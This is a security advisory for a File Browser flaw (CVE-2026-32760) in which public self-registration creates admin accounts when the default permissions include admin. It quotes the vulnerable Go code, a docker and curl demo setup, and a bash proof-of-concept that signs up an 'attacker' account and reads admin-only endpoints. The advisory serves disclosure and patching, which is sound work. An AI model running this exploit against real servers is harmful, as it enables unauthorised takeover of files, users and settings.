File Browser Signup Grants Admin When Default Permissions Include Admin in github.com/filebrowser/filebrowser

Open Source Vulnerabilities GHSA-5gg9-5g7w-hm73

## Summary Any unauthenticated visitor can register a full administrator account when self-registration ( signup = true ) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the new user without any server-side guard that strips admin from self-registered accounts. ## Details **Affected file:** http/auth.go **Vulnerable code:** ```go user := &users.User{ Username: info.Username, } d.settings.Defaults.Apply(user) ``` **`settings.UserDefaults.Apply` (settings/defaults.go):** ```go func (d *UserDefaults) Apply(u *users.User) { u.Perm = d.Perm ... } ``` **Settings API permits Admin in defaults (http/settings.go):** ```go var settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) { ... d.settings.Defaults = req.Defaults ... }) ``` The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings. ## Demo Server Setup ```bash docker run -d --name fb-test \ -p 8080:80 \ -v /tmp/fb-data:/srv \ filebrowser/filebrowser:v2.31.2 ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}') curl -s -X PUT http://localhost:8080/api/settings \ -H "X-Auth: $ADMIN_TOKEN" \ -H 'Content-Type: application/json' \ -d '{ "signup": true, "defaults": { "perm": { "admin": true, "execute": true, "create": true, "rename": true, "modify": true, "delete": true, "share": true, "download": true } } }' ``` ## PoC Exploit ```bash #!/bin/bash TARGET="http://localhost:8080" echo "[*] Registering attacker account via public signup endpoint..." STATUS=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST "$TARGET/api/signup" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack3r!pass"}') echo "[*] Signup response: HTTP $STATUS" echo "[*] Logging in as newly created account..." ATTACKER_TOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack3r!pass"}') echo "[*] Fetching user list with attacker token (admin-only endpoint)..." curl -s "$TARGET/api/users" \ -H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool echo "" echo "[*] Verifying admin access by reading /api/settings..." curl -s "$TARGET/api/settings" \ -H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool ``` **Expected output:** The attacker's token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users. ## Impact Any unauthenticated visitor who can reach POST /api/signup obtains a full admin account. From there, they can: - List, read, modify, and delete every file on the server - Create, modify, and delete all other users - Change authentication method and server settings - Execute arbitrary commands if enableExec = true

Open Source Vulnerabilities GO-2026-4710

File Browser Signup Grants Admin When Default Permissions Include Admin in github.com/filebrowser/filebrowser

Open Source Vulnerabilities CVE-2026-32760

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. In versions 2.61.2 and below, any unauthenticated visitor can register a full administrator account when self-registration (signup = true) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings (including Perm.Admin) to the new user without any server-side guard that strips admin from self-registered accounts. The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after applying defaults. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings. This issue has been resolved in version 2.62.0.